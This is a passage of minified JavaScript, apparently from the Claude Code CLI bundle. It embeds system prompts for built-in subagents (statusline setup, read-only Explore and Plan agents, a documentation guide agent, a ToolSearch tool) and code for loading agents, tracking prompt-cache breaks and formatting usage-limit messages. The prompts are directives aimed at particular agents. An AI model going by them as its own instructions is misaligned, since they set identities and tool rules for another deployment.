can use this JSON data in your command like: - $(cat | jq -r '.model.display_name') - $(cat | jq -r '.workspace.current_dir') - $(cat | jq -r '.output_style.name') Or store it in a variable first: - input=$(cat); echo "$(echo "$input" | jq -r '.model.display_name') in $(echo "$input" | jq -r '.workspace.current_dir')" To display context remaining percentage (simplest approach using pre-calculated field): - input=$(cat); remaining=$(echo "$input" | jq -r '.context_window.remaining_percentage // empty'); [ -n "$remaining" ] && echo "Context: $remaining% remaining" Or to display context used percentage: - input=$(cat); used=$(echo "$input" | jq -r '.context_window.used_percentage // empty'); [ -n "$used" ] && echo "Context: $used% used" 2. For longer commands, you can save a new file in the user's ~/.claude directory, e.g.: - ~/.claude/statusline-command.sh and reference that file in the settings. 3. Update the user's ~/.claude/settings.json with: { "statusLine": { "type": "command", "command": "your_command_here" } } 4. If ~/.claude/settings.json is a symlink, update the target file instead. Guidelines: - Preserve existing settings when updating - Return a summary of what was configured, including the name of the script file if used - If the script includes git commands, they should skip optional locks - IMPORTANT: At the end of your response, inform the parent agent that this "statusline-setup" agent must be used for further status line changes. Also ensure that the user is informed that they can ask Claude to continue to make changes to the status line. `}});var nJ1="ExitPlanMode",Yf="ExitPlanMode";var HzY,EC;var hxA=k(()=>{cO();jV();rE();HzY=`You are a file search specialist for Claude Code, Anthropic's official CLI for Claude. You excel at thoroughly navigating and exploring codebases. === CRITICAL: READ-ONLY MODE - NO FILE MODIFICATIONS === This is a READ-ONLY exploration task. You are STRICTLY PROHIBITED from: - Creating new files (no Write, touch, or file creation of any kind) - Modifying existing files (no Edit operations) - Deleting files (no rm or deletion) - Moving or copying files (no mv or cp) - Creating temporary files anywhere, including /tmp - Using redirect operators (>, >>, |) or heredocs to write to files - Running ANY commands that change system state Your role is EXCLUSIVELY to search and analyze existing code. You do NOT have access to file editing tools - attempting to edit files will fail. Your strengths: - Rapidly finding files using glob patterns - Searching code and text with powerful regex patterns - Reading and analyzing file contents Guidelines: - Use ${hH} for broad file pattern matching - Use ${Fz} for searching file contents with regex - Use ${eq} when you know the specific file path you need to read - Use ${G7} ONLY for read-only operations (ls, git status, git log, git diff, find, cat, head, tail) - NEVER use ${G7} for: mkdir, touch, rm, cp, mv, git add, git commit, npm install, pip install, or any file creation/modification - Adapt your search approach based on the thoroughness level specified by the caller - Return file paths as absolute paths in your final response - For clear communication, avoid using emojis - Communicate your final report directly as a regular message - do NOT attempt to create files NOTE: You are meant to be a fast agent that returns output as quickly as possible. In order to achieve this you must: - Make efficient use of the tools that you have at your disposal: be smart about how you search for files and implementations - Wherever possible you should try to spawn multiple parallel tool calls for grepping and reading files Complete the user's search request efficiently and report your findings clearly.`,EC={agentType:"Explore",whenToUse:'Fast agent specialized for exploring codebases. Use this when you need to quickly find files by patterns (eg. "src/components/**/*.tsx"), search code for keywords (eg. "API endpoints"), or answer questions about the codebase (eg. "how do API endpoints work?"). When calling this agent, specify the desired thoroughness level: "quick" for basic searches, "medium" for moderate exploration, or "very thorough" for comprehensive analysis across multiple locations and naming conventions.',disallowedTools:[Nq,nJ1,m5,Qz,ZD],source:"built-in",baseDir:"built-in",model:"haiku",getSystemPrompt:()=>HzY,criticalSystemReminder_EXPERIMENTAL:"CRITICAL: This is a READ-ONLY task. You CANNOT edit, write, or create files."}});var JzY,rJ1;var y_6=k(()=>{hxA();rE();cO();jV();JzY=`You are a software architect and planning specialist for Claude Code. Your role is to explore the codebase and design implementation plans. === CRITICAL: READ-ONLY MODE - NO FILE MODIFICATIONS === This is a READ-ONLY planning task. You are STRICTLY PROHIBITED from: - Creating new files (no Write, touch, or file creation of any kind) - Modifying existing files (no Edit operations) - Deleting files (no rm or deletion) - Moving or copying files (no mv or cp) - Creating temporary files anywhere, including /tmp - Using redirect operators (>, >>, |) or heredocs to write to files - Running ANY commands that change system state Your role is EXCLUSIVELY to explore the codebase and design implementation plans. You do NOT have access to file editing tools - attempting to edit files will fail. You will be provided with a set of requirements and optionally a perspective on how to approach the design process. ## Your Process 1. **Understand Requirements**: Focus on the requirements provided and apply your assigned perspective throughout the design process. 2. **Explore Thoroughly**: - Read any files provided to you in the initial prompt - Find existing patterns and conventions using ${hH}, ${Fz}, and ${eq} - Understand the current architecture - Identify similar features as reference - Trace through relevant code paths - Use ${G7} ONLY for read-only operations (ls, git status, git log, git diff, find, cat, head, tail) - NEVER use ${G7} for: mkdir, touch, rm, cp, mv, git add, git commit, npm install, pip install, or any file creation/modification 3. **Design Solution**: - Create implementation approach based on your assigned perspective - Consider trade-offs and architectural decisions - Follow existing patterns where appropriate 4. **Detail the Plan**: - Provide step-by-step implementation strategy - Identify dependencies and sequencing - Anticipate potential challenges ## Required Output End your response with: ### Critical Files for Implementation List 3-5 files most critical for implementing this plan: - path/to/file1.ts - [Brief reason: e.g., "Core logic to modify"] - path/to/file2.ts - [Brief reason: e.g., "Interfaces to implement"] - path/to/file3.ts - [Brief reason: e.g., "Pattern to follow"] REMEMBER: You can ONLY explore and plan. You CANNOT and MUST NOT write, edit, or modify any files. You do NOT have access to file editing tools.`,rJ1={agentType:"Plan",whenToUse:"Software architect agent for designing implementation plans. Use this when you need to plan the implementation strategy for a task. Returns step-by-step plans, identifies critical files, and considers architectural trade-offs.",disallowedTools:[Nq,nJ1,m5,Qz,ZD],source:"built-in",tools:EC.tools,baseDir:"built-in",model:"inherit",getSystemPrompt:()=>JzY,criticalSystemReminder_EXPERIMENTAL:"CRITICAL: This is a READ-ONLY task. You CANNOT edit, write, or create files."}});function _zY(){if(ak())return`- When you cannot find an answer or the feature doesn't exist, direct the user to ${{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.ISSUES_EXPLAINER}`;return"- When you cannot find an answer or the feature doesn't exist, direct the user to use /feedback to report a feature request or bug"}var OzY="https://code.claude.com/docs/en/claude_code_docs_map.md",y57="https://platform.claude.com/llms.txt",XzY="claude-code-guide",$zY,I57;var S57=k(()=>{cO();rE();d6A();I8();x4();b1();$zY=`You are the Claude guide agent. Your primary responsibility is helping users understand and use Claude Code, the Claude Agent SDK, and the Claude API (formerly the Anthropic API) effectively. **Your expertise spans three domains:** 1. **Claude Code** (the CLI tool): Installation, configuration, hooks, skills, MCP servers, keyboard shortcuts, IDE integrations, settings, and workflows. 2. **Claude Agent SDK**: A framework for building custom AI agents based on Claude Code technology. Available for Node.js/TypeScript and Python. 3. **Claude API**: The Claude API (formerly known as the Anthropic API) for direct model interaction, tool use, and integrations. **Documentation sources:** - **Claude Code docs** (${OzY}): Fetch this for questions about the Claude Code CLI tool, including: - Installation, setup, and getting started - Hooks (pre/post command execution) - Custom skills - MCP server configuration - IDE integrations (VS Code, JetBrains) - Settings files and configuration - Keyboard shortcuts and hotkeys - Subagents and plugins - Sandboxing and security - **Claude Agent SDK docs** (${y57}): Fetch this for questions about building agents with the SDK, including: - SDK overview and getting started (Python and TypeScript) - Agent configuration + custom tools - Session management and permissions - MCP integration in agents - Hosting and deployment - Cost tracking and context management Note: Agent SDK docs are part of the Claude API documentation at the same URL. - **Claude API docs** (${y57}): Fetch this for questions about the Claude API (formerly the Anthropic API), including: - Messages API and streaming - Tool use (function calling) and Anthropic-defined tools (computer use, code execution, web search, text editor, bash, programmatic tool calling, tool search tool, context editing, Files API, structured outputs) - Vision, PDF support, and citations - Extended thinking and structured outputs - MCP connector for remote MCP servers - Cloud provider integrations (Bedrock, Vertex AI, Foundry) **Approach:** 1. Determine which domain the user's question falls into 2. Use ${wO} to fetch the appropriate docs map 3. Identify the most relevant documentation URLs from the map 4. Fetch the specific documentation pages 5. Provide clear, actionable guidance based on official documentation 6. Use ${oE} if docs don't cover the topic 7. Reference local project files (CLAUDE.md, .claude/ directory) when relevant using ${eq}, ${hH}, and ${Fz} **Guidelines:** - Always prioritize official documentation over assumptions - Keep responses concise and actionable - Include specific examples or code snippets when helpful - Reference exact documentation URLs in your responses - Avoid emojis in your responses - Help users discover features by proactively suggesting related commands, shortcuts, or capabilities Complete the user's request by providing accurate, documentation-based guidance.`;I57={agentType:XzY,whenToUse:'Use this agent when the user asks questions ("Can Claude...", "Does Claude...", "How do I...") about: (1) Claude Code (the CLI tool) - features, hooks, slash commands, MCP servers, settings, IDE integrations, keyboard shortcuts; (2) Claude Agent SDK - building custom agents; (3) Claude API (formerly Anthropic API) - API usage, tool use, Anthropic SDK usage. **IMPORTANT:** Before spawning a new agent, check if there is already a running or recently completed claude-code-guide agent that you can resume using the "resume" parameter.',tools:[hH,Fz,eq,wO,oE],source:"built-in",baseDir:"built-in",model:"haiku",permissionMode:"dontAsk",getSystemPrompt({toolUseContext:A}){let K=A.options.commands,q=[],Y=K.filter(($)=>$.type==="prompt");if(Y.length>0){let $=Y.map((_)=>`- /${_.name}: ${_.description}`).join(` `);q.push(`**Available custom skills in this project:** ${$}`)}let z=A.options.agentDefinitions.activeAgents.filter(($)=>$.source!=="built-in");if(z.length>0){let $=z.map((_)=>`- ${_.agentType}: ${_.whenToUse}`).join(` `);q.push(`**Available custom agents configured:** ${$}`)}let w=A.options.mcpClients;if(w&&w.length>0){let $=w.map((_)=>`- ${_.name}`).join(` `);q.push(`**Configured MCP servers:** ${$}`)}let H=K.filter(($)=>$.type==="prompt"&&$.source==="plugin");if(H.length>0){let $=H.map((_)=>`- /${_.name}: ${_.description}`).join(` `);q.push(`**Available plugin skills:** ${$}`)}let J=J8();if(Object.keys(J).length>0){let $=UA(J,null,2);q.push(`**User's settings.json:** \`\`\`json ${$} \`\`\``)}let O=_zY(),X=`${$zY} ${O}`;if(q.length>0)return`${X} --- # User's Current Configuration The user has the following custom setup in their environment: ${q.join(` `)} When answering questions, consider these configured features and proactively suggest them when relevant.`;return X}}});function h57(A){}var oJ1=k(()=>{B7();i6()});var x57={};_q(x57,{isDeferredTool:()=>xM,getPrompt:()=>aJ1,TOOL_SEARCH_TOOL_NAME:()=>sZ});function xM(A){if(A.isMcp===!0)return!0;return!1}function aJ1(A){let K=A.filter(xM);if(K.length===0){if(oo!==void 0&&oo!=="")n("tengu_tool_prompt_changed",{tool:"ToolSearchTool",previousDeferredCount:oo.split(` `).length,newDeferredCount:0});return oo="",b57}let q=G4("tengu_kv7_prompt_sort",!1)?K.map((Y)=>Y.name).sort().join(` `):K.map((Y)=>Y.name).join(` `);if(oo!==void 0&&q!==oo){let Y=oo.split(` `).filter(Boolean).length,z=q.split(` `).filter(Boolean).length;n("tengu_tool_prompt_changed",{tool:"ToolSearchTool",previousDeferredCount:Y,newDeferredCount:z})}return oo=q,`${b57} Available deferred tools (must be loaded before use): ${q}`}var oo,sZ="ToolSearch",b57=`Search for or select deferred tools to make them available for use. **MANDATORY PREREQUISITE - THIS IS A HARD REQUIREMENT** You MUST use this tool to load deferred tools BEFORE calling them directly. This is a BLOCKING REQUIREMENT - deferred tools listed below are NOT available until you load them using this tool. Both query modes (keyword search and direct selection) load the returned tools — once a tool appears in the results, it is immediately available to call. **Why this is non-negotiable:** - Deferred tools are not loaded until discovered via this tool - Calling a deferred tool without first loading it will fail **Query modes:** 1. **Keyword search** - Use keywords when you're unsure which tool to use or need to discover multiple tools at once: - "list directory" - find tools for listing directories - "notebook jupyter" - find notebook editing tools - "slack message" - find slack messaging tools - Returns up to 5 matching tools ranked by relevance - All returned tools are immediately available to call — no further selection step needed 2. **Direct selection** - Use \`select:<tool_name>\` when you know the exact tool name and only need that one tool: - "select:mcp__slack__read_channel" - "select:NotebookEdit" - Returns just that tool if it exists **IMPORTANT:** Both modes load tools equally. Do NOT follow up a keyword search with \`select:\` calls for tools already returned — they are already loaded. 3. **Required keyword** - Prefix with \`+\` to require a match: - "+linear create issue" - only tools from "linear", ranked by "create"/"issue" - "+slack send" - only "slack" tools, ranked by "send" - Useful when you know the service name but not the exact tool **CORRECT Usage Patterns:** <example> User: I need to work with slack somehow Assistant: Let me search for slack tools. [Calls ToolSearch with query: "slack"] Assistant: Found several options including mcp__slack__read_channel. [Calls mcp__slack__read_channel directly — it was loaded by the keyword search] </example> <example> User: Edit the Jupyter notebook Assistant: Let me load the notebook editing tool. [Calls ToolSearch with query: "select:NotebookEdit"] [Calls NotebookEdit] </example> <example> User: List files in the src directory Assistant: I can see mcp__filesystem__list_directory in the available tools. Let me select it. [Calls ToolSearch with query: "select:mcp__filesystem__list_directory"] [Calls the tool] </example> **INCORRECT Usage Patterns - NEVER DO THESE:** <bad-example> User: Read my slack messages Assistant: [Directly calls mcp__slack__read_channel without loading it first] WRONG - You must load the tool FIRST using this tool </bad-example> <bad-example> Assistant: [Calls ToolSearch with query: "slack", gets back mcp__slack__read_channel] Assistant: [Calls ToolSearch with query: "select:mcp__slack__read_channel"] WRONG - The keyword search already loaded the tool. The select call is redundant. </bad-example>`;var ao=k(()=>{B7();oJ1();l1()});var Oiw;var u57=k(()=>{ao();vC();Oiw=[sZ,`${G7}(sleep:*)`,"mcp__slack__send_message","mcp__slack__read_thread","mcp__claude_ai_Slack__slack_send_message","mcp__claude_ai_Slack__slack_read_thread"]});function I_6(){let A=[k57,iJ1,L57,EC,rJ1];if(process.env.CLAUDE_CODE_ENTRYPOINT!=="sdk-ts"&&process.env.CLAUDE_CODE_ENTRYPOINT!=="sdk-py"&&process.env.CLAUDE_CODE_ENTRYPOINT!=="sdk-cli")A.push(I57);return A}var B57=k(()=>{C57();R_6();R57();hxA();y_6();S57();u57()});import{join as GzY,basename as ZzY}from"path";function m57(A,K,q,Y){let z=[],w=BA();function H(J,O=[]){try{let X=w.readdirSync(J);for(let $ of X){let _=GzY(J,$.name);if($.isDirectory())H(_,[...O,$.name]);else if($.isFile()&&$.name.endsWith(".md")){let G=g57(_,K,O,q,Y);if(G)z.push(G)}}}catch(X){h(`Failed to scan agents directory ${J}: ${X}`,{level:"error"})}}return H(A),z}function g57(A,K,q,Y,z){let w=BA();if(Uh(w,A,z))return null;try{let H=w.readFileSync(A,{encoding:"utf-8"}),{frontmatter:J,content:O}=J_(H),X=J.name||ZzY(A).replace(/\.md$/,""),_=[K,...q,X].join(":"),G=J.description||J["when-to-use"]||`Agent from ${K} plugin`,Z=w7A(J.tools),W=Qy(J.skills),D=J.color,j=J.model,M=J.forkContext,P=O.trim();return{agentType:_,whenToUse:G,tools:Z,...W!==void 0?{skills:W}:{},getSystemPrompt:()=>P,source:"plugin",color:D,model:j,filename:X,plugin:Y,...{}}}catch(H){return h(`Failed to load agent from ${A}: ${H}`,{level:"error"}),null}}function F57(){rKA.cache?.clear?.()}var rKA;var bxA=k(()=>{p7();e6();s0();Z1();nQ();aQ();rKA=z6(async()=>{let{enabled:A,errors:K}=await SY(),q=[];if(K.length>0)h(`Plugin loading errors: ${K.map((Y)=>_M(Y)).join(", ")}`);for(let Y of A){let z=new Set;if(Y.agentsPath)try{let w=m57(Y.agentsPath,Y.name,Y.source,z);if(q.push(...w),w.length>0)h(`Loaded ${w.length} agents from plugin ${Y.name} default directory`)}catch(w){h(`Failed to load agents from plugin ${Y.name} default directory: ${w}`,{level:"error"})}if(Y.agentsPaths)for(let w of Y.agentsPaths)try{let J=BA().statSync(w);if(J.isDirectory()){let O=m57(w,Y.name,Y.source,z);if(q.push(...O),O.length>0)h(`Loaded ${O.length} agents from plugin ${Y.name} custom path: ${w}`)}else if(J.isFile()&&w.endsWith(".md")){let O=g57(w,Y.name,[],Y.source,z);if(O)q.push(O),h(`Loaded agent from plugin ${Y.name} custom file: ${w}`)}}catch(H){h(`Failed to load agents from plugin ${Y.name} custom path ${w}: ${H}`,{level:"error"})}}return h(`Total plugin agents loaded: ${q.length}`),q})});import{join as S_6,sep as h_6}from"path";import{homedir as WzY}from"os";function b_6(A){let K=S_6(WzY(),".claude","agent-memory")+h_6,q=S_6(x1(),".claude","agent-memory")+h_6,Y=S_6(x1(),".claude","agent-memory-local")+h_6;return A.startsWith(K)||A.startsWith(q)||A.startsWith(Y)}var xxA=k(()=>{e6();y4()});import{basename as DzY}from"path";function UD(A){return A.source==="built-in"}function sJ1(A){return A.source!=="built-in"&&A.source!=="plugin"}function tJ1(A){return A.source==="plugin"}function nU(A){let K=A.filter((X)=>X.source==="built-in"),q=A.filter((X)=>X.source==="plugin"),Y=A.filter((X)=>X.source==="userSettings"),z=A.filter((X)=>X.source==="projectSettings"),w=A.filter((X)=>X.source==="policySettings"),H=A.filter((X)=>X.source==="flagSettings"),J=[K,q,Y,z,H,w],O=new Map;for(let X of J)for(let $ of X)O.set($.agentType,$);return Array.from(O.values())}function u_6(A,K){if(!A.requiredMcpServers||A.requiredMcpServers.length===0)return!0;return A.requiredMcpServers.every((q)=>K.some((Y)=>Y.toLowerCase().includes(q.toLowerCase())))}function p57(A,K){return A.filter((q)=>u_6(q,K))}function MzY(A){let{name:K,description:q,model:Y}=A;if(!K||typeof K!=="string")return'Missing required "name" field in frontmatter';if(!q||typeof q!=="string")return'Missing required "description" field in frontmatter';if(Y&&typeof Y==="string"&&!YXA.includes(Y))return`Invalid model "${Y}". Valid options: ${YXA.join(", ")}`;return"Unknown parsing error"}function PzY(A,K){if(!A.hooks)return;let q=ek.safeParse(A.hooks);if(!q.success){h(`Invalid hooks in agent '${K}': ${q.error.message}`);return}return q.data}function VzY(A,K,q="flagSettings"){try{let Y=U57.parse(K),z=w7A(Y.tools),w=Y.disallowedTools!==void 0?w7A(Y.disallowedTools):void 0,H=Y.prompt;return{agentType:A,whenToUse:Y.description,...z!==void 0?{tools:z}:{},...w!==void 0?{disallowedTools:w}:{},getSystemPrompt:()=>{return H},source:q,...Y.model?{model:Y.model}:{},...Y.permissionMode?{permissionMode:Y.permissionMode}:{},...Y.mcpServers&&Y.mcpServers.length>0?{mcpServers:Y.mcpServers}:{},...Y.hooks?{hooks:Y.hooks}:{},...Y.maxTurns!==void 0?{maxTurns:Y.maxTurns}:{},...Y.skills&&Y.skills.length>0?{skills:Y.skills}:{},...Y.memory?{memory:Y.memory}:{}}}catch(Y){let z=Y instanceof Error?Y.message:String(Y);return h(`Error parsing agent '${A}' from JSON: ${z}`),KA(Y instanceof Error?Y:Error(String(Y))),null}}function eJ1(A,K="flagSettings"){try{let q=jzY.parse(A);return Object.entries(q).map(([Y,z])=>VzY(Y,z,K)).filter((Y)=>Y!==null)}catch(q){let Y=q instanceof Error?q.message:String(q);return h(`Error parsing agents from JSON: ${Y}`),KA(q instanceof Error?q:Error(String(q))),[]}}function fzY(A,K,q,Y,z){try{let{name:w,description:H}=q;if(!w||typeof w!=="string"||!H||typeof H!=="string"){let u=`Agent file ${A} is missing required '${!w||typeof w!=="string"?"name":"description"}' in frontmatter`;return h(u),null}H=H.replace(/\\n/g,` `);let{color:J,model:O,forkContext:X}=q;if(X!==void 0&&X!=="true"&&X!=="false"){let Q=`Agent file ${A} has invalid forkContext value '${X}'. Must be 'true', 'false', or omitted.`;h(Q)}let $=X==="true",_=["user","project","local"],G=q.memory,Z;if(G!==void 0)if(_.includes(G))Z=G;else h(`Agent file ${A} has invalid memory value '${G}'. Valid options: ${_.join(", ")}`);if($&&O!=="inherit"){let Q=`Agent file ${A} has forkContext: true but model is not 'inherit'. Overriding to 'inherit'. Agents with forkContext must use model: inherit to avoid context length mismatch.`;h(Q),O="inherit"}let W=O&&typeof O==="string"&&YXA.includes(O);if(O&&typeof O==="string"&&!W){let Q=`Agent file ${A} has invalid model '${O}'. Valid options: ${YXA.join(", ")}`;h(Q)}let D=q.permissionMode,j=D&&Ei.includes(D);if(D&&!j){let Q=`Agent file ${A} has invalid permissionMode '${D}'. Valid options: ${Ei.join(", ")}`;h(Q)}let M=q.maxTurns,P=zh4(M);if(M!==void 0&&P===void 0)h(`Agent file ${A} has invalid maxTurns '${M}'. Must be a positive integer.`);let f=DzY(A,".md"),N=w7A(q.tools),T=q.disallowedTools,C=T!==void 0?w7A(T):void 0,R=Qy(q.skills),x=q.mcpServers,y;if(Array.isArray(x))y=x.map((Q)=>{let u=Q57.safeParse(Q);if(u.success)return u.data;return h(`Agent file ${A} has invalid mcpServers item: ${UA(Q)}. Error: ${u.error.message}`),null}).filter((Q)=>Q!==null);let B=PzY(q,w),b=Y.trim();return{baseDir:K,agentType:w,whenToUse:H,...N!==void 0?{tools:N}:{},...C!==void 0?{disallowedTools:C}:{},...R!==void 0?{skills:R}:{},...y!==void 0&&y.length>0?{mcpServers:y}:{},...B!==void 0?{hooks:B}:{},getSystemPrompt:()=>{return b},source:z,filename:f,...J&&typeof J==="string"&&Y0.includes(J)?{color:J}:{},...W?{model:O}:{},...j?{permissionMode:D}:{},...$?{forkContext:$}:{},...P!==void 0?{maxTurns:P}:{},...Z?{memory:Z}:{}}}catch(w){let H=w instanceof Error?w.message:String(w);return h(`Error parsing agent from ${A}: ${H}`),KA(w instanceof Error?w:Error(String(w))),null}}var Q57,U57,jzY,d57;var kC=k(()=>{p7();z7();l1();Z1();nQ();C1();aQ();K7();aZ();B57();rU();bxA();n_();H7A();b1();xxA();jV();cO();Q57=U.union([U.string(),U.record(U.string(),dx)]),U57=U.object({description:U.string().min(1,"Description cannot be empty"),tools:U.array(U.string()).optional(),disallowedTools:U.array(U.string()).optional(),prompt:U.string().min(1,"Prompt cannot be empty"),model:U.enum(YXA).optional(),permissionMode:U.enum(Ei).optional(),mcpServers:U.array(Q57).optional(),hooks:U.lazy(()=>ek).optional(),maxTurns:U.number().int().positive().optional(),skills:U.array(U.string()).optional(),memory:U.enum(["user","project","local"]).optional()}),jzY=U.record(U.string(),U57);d57=z6(async(A)=>{try{let K=await oQ("agents",A),q=[],Y=K.map(({filePath:O,baseDir:X,frontmatter:$,content:_,source:G})=>{let Z=fzY(O,X,$,_,G);if(!Z){let W=MzY($);return q.push({path:O,error:W}),h(`Failed to parse agent from ${O}: ${W}`),n("tengu_agent_parse_error",{error:W,location:G}),null}return Z}).filter((O)=>O!==null),z=await rKA(),H=[...I_6(),...z,...Y],J=nU(H);for(let O of J)if(O.color)EGA(O.agentType,O.color);return{activeAgents:J,allAgents:H,failedFiles:q.length>0?q:void 0}}catch(K){let q=K instanceof Error?K.message:String(K);h(`Error loading agent definitions: ${q}`),KA(K instanceof Error?K:Error(String(K)));let Y=I_6();return{activeAgents:Y,allAgents:Y,failedFiles:[{path:"unknown",error:q}]}}})});function kGA({mainThreadAgentDefinition:A,toolUseContext:K,customSystemPrompt:q,defaultSystemPrompt:Y,appendSystemPrompt:z}){let w=A?UD(A)?A.getSystemPrompt({toolUseContext:{options:K.options}}):A.getSystemPrompt():void 0;return[...w?[w]:q?[q]:Y,...z?[z]:[]]}var AO1=k(()=>{kC();l1()});function KO1(A){if(A==="compact")return"repl_main_thread";for(let K of TzY)if(A.startsWith(K))return A;return null}function c57(A){return A.map((K)=>{if(!("cache_control"in K))return K;let{cache_control:q,...Y}=K;return Y})}function l57(A){let K=Bun.hash(UA(A));return typeof K==="bigint"?Number(K&0xffffffffn):K}function vzY(A){let K=0;for(let q of A)K+=q.text.length;return K}function i57(A,K,q,Y){try{let z=KO1(q);if(!z)return;let w=c57(A),H=c57(K),J=l57(w),O=l57(H),X=K.map((D)=>("name"in D)?D.name:"unknown"),$=vzY(A),_=CGA.get(z);if(!_){CGA.set(z,{systemHash:J,toolsHash:O,toolNames:X,systemCharCount:$,model:Y,callCount:1,pendingChanges:null,prevCacheReadTokens:null,microcompacted:!1});return}_.callCount++;let G=J!==_.systemHash,Z=O!==_.toolsHash,W=Y!==_.model;if(G||Z||W){let D=new Set(_.toolNames),j=new Set(X);_.pendingChanges={systemPromptChanged:G,toolSchemasChanged:Z,modelChanged:W,addedToolCount:X.filter((M)=>!D.has(M)).length,removedToolCount:_.toolNames.filter((M)=>!j.has(M)).length,systemCharDelta:$-_.systemCharCount,previousModel:_.model,newModel:Y}}else _.pendingChanges=null;_.systemHash=J,_.toolsHash=O,_.toolNames=X,_.systemCharCount=$,_.model=Y}catch(z){KA(z instanceof Error?z:Error(String(z)))}}function n57(A,K,q){try{let Y=KO1(A);if(!Y)return;let z=CGA.get(Y);if(!z)return;let w=z.prevCacheReadTokens;if(z.prevCacheReadTokens=K,w===null)return;let H=z.pendingChanges;if(K>=w*0.95){z.pendingChanges=null,z.microcompacted=!1;return}let J=[],O=z.microcompacted;if(O)J.push("microcompact"),z.microcompacted=!1;if(H){if(H.modelChanged)J.push(`model changed (${H.previousModel} → ${H.newModel})`);if(H.systemPromptChanged){let _=H.systemCharDelta,G=_===0?"":_>0?` (+${_} chars)`:` (${_} chars)`;J.push(`system prompt changed${G}`)}if(H.toolSchemasChanged){let _=H.addedToolCount>0||H.removedToolCount>0?` (+${H.addedToolCount}/-${H.removedToolCount} tools)`:" (tool prompt/schema changed, same tool set)";J.push(`tools changed${_}`)}}let $=`[PROMPT CACHE BREAK] ${J.length>0?J.join(", "):"unknown cause"} [source=${A}, call #${z.callCount}, cache read: ${w} → ${K}, creation: ${q}]`;h($,{level:"warn"}),n("tengu_prompt_cache_break",{systemPromptChanged:H?.systemPromptChanged??!1,toolSchemasChanged:H?.toolSchemasChanged??!1,modelChanged:H?.modelChanged??!1,microcompacted:O,addedToolCount:H?.addedToolCount??0,removedToolCount:H?.removedToolCount??0,callNumber:z.callCount,prevCacheReadTokens:w,cacheReadTokens:K,cacheCreationTokens:q}),mr6($),z.pendingChanges=null}catch(Y){KA(Y instanceof Error?Y:Error(String(Y)))}}function r57(A){let K=KO1(A),q=K?CGA.get(K):void 0;if(q)q.microcompacted=!0}function o57(A){let K=KO1(A),q=K?CGA.get(K):void 0;if(q)q.prevCacheReadTokens=null}function a57(){CGA.clear()}var CGA,TzY;var uxA=k(()=>{Z1();l1();q6();b1();C1();CGA=new Map,TzY=["repl_main_thread","sdk","agent:custom","agent:default","agent:builtin"]});function t57(){return null}function e57(A){let K=t57();if(!K)return A;let q=new globalThis.Headers(A);return Object.entries(K).forEach(([Y,z])=>{if(z!==void 0)q.set(Y,z)}),q}function LGA(){return qO1&&!1}function A37(){return null}function K37(){return qO1&&s57!==null&&!1}var EzY,qO1=!1,s57=null,kzY="max";var YO1=k(()=>{i6();EzY={}});function B_6(A){if(LGA())return e57(A);return A}function RGA(A){return A||LGA()}function q37(A){return LGA()&&A.status===429}var BxA=k(()=>{YO1();sN();K7()});function Y37(A){return CzY.some((K)=>A.startsWith(K))}function z37(A,K){if(A.isUsingOverage){if(A.overageStatus==="allowed_warning")return{message:"You're close to your extra usage spending limit",severity:"warning"};return null}if(A.status==="rejected")return{message:LzY(A,K),severity:"error"};if(A.status==="allowed_warning"){if(A.utilization!==void 0&&A.utilization<0.7)return null;if(DI()){let z=Uq(),w=z==="team"||z==="enterprise",H=$5()?.hasExtraUsageEnabled===!0;if(w&&H&&!yu())return null}let Y=RzY(A);if(Y)return{message:Y,severity:"warning"}}return null}function m_6(A,K){let q=z37(A,K);if(q&&q.severity==="error")return q.message;return null}function g_6(A,K){let q=z37(A,K);if(q&&q.severity==="warning")return q.message;return null}function LzY(A,K){let q=A.resetsAt,Y=q?t0A(q,!0):void 0,z=A.overageResetsAt?t0A(A.overageResetsAt,!0):void 0,w=Y?` · resets ${Y}`:"";if(A.overageStatus==="rejected"){let H="";if(q&&A.overageResetsAt)if(q<A.overageResetsAt)H=` · resets ${Y}`;else H=` · resets ${z}`;else if(Y)H=` · resets ${Y}`;else if(z)H=` · resets ${z}`;if(A.overageDisabledReason==="out_of_credits")return`You're out of extra usage${H}`;return yGA("limit",H,K)}if(A.rateLimitType==="seven_day_sonnet"){let H=Uq();return yGA(H==="pro"||H==="enterprise"?"weekly limit":"Sonnet limit",w,K)}if(A.rateLimitType==="seven_day_opus")return yGA("Opus limit",w,K);if(A.rateLimitType==="seven_day")return yGA("weekly limit",w,K);if(A.rateLimitType==="five_hour")return yGA("session limit",w,K);return yGA("usage limit",w,K)}function RzY(A){let K=null;switch(A.rateLimitType){case"seven_day":K="weekly limit";break;case"five_hour":K="session limit";break;case"seven_day_opus":K="Opus limit";break;case"seven_day_sonnet":K="Sonnet limit";break;case"overage":K="extra usage";break;case void 0:return null}let q=A.utilization?Math.floor(A.utilization*100):void 0,Y=A.resetsAt?t0A(A.resetsAt,!0):void 0,z=yzY(A.rateLimitType);if(q&&Y){let H=`You've used ${q}% of your ${K} · resets ${Y}`;return z?`${H} · ${z}`:H}if(q){let H=`You've used ${q}% of your ${K}`;return z?`${H} · ${z}`:H}if(A.rateLimitType==="overage")K+=" limit";if(Y){let H=`Approaching ${K} · resets ${Y}`;return z?`${H} · ${z}`:H}let w=`Approaching ${K}`;return z?`${w} · ${z}`:w}function yzY(A){let K=Uq(),q=$5()?.hasExtraUsageEnabled===!0;if(A==="five_hour"){if(K==="team"||K==="enterprise"){if(!q&&oU())return"/extra-usage to request more";return null}if(K==="pro"||K==="max")return"/upgrade to keep using Claude Code"}if(A==="overage"){if(K==="team"||K==="enterprise"){if(!q&&oU())return"/extra-usage to request more"}}return null}function F_6(A){let K=A.resetsAt?t0A(A.resetsAt,!0):"",q="";if(A.rateLimitType==="five_hour")q="session limit";else if(A.rateLimitType==="seven_day")q="weekly limit";else if(A.rateLimitType==="seven_day_opus")q="Opus limit";else if(A.rateLimitType==="seven_day_sonnet"){let z=Uq();q=z==="pro"||z==="enterprise"?"weekly limit":"Sonnet limit"}if(!q)return"Now using extra usage";return`You're now using extra usage${K?` · Your ${q} resets ${K}`:""}`}function yGA(A,K,q){return`You've hit your ${A}${K}`}var CzY;var Q_6=k(()=>{x4();i6();CzY=["You've hit your","You've used","You're now using extra usage","You're close to","You're out of extra usage"]});function hzY(A,K){let q=Date.now()/1000,Y=A-K,z=q-Y;return 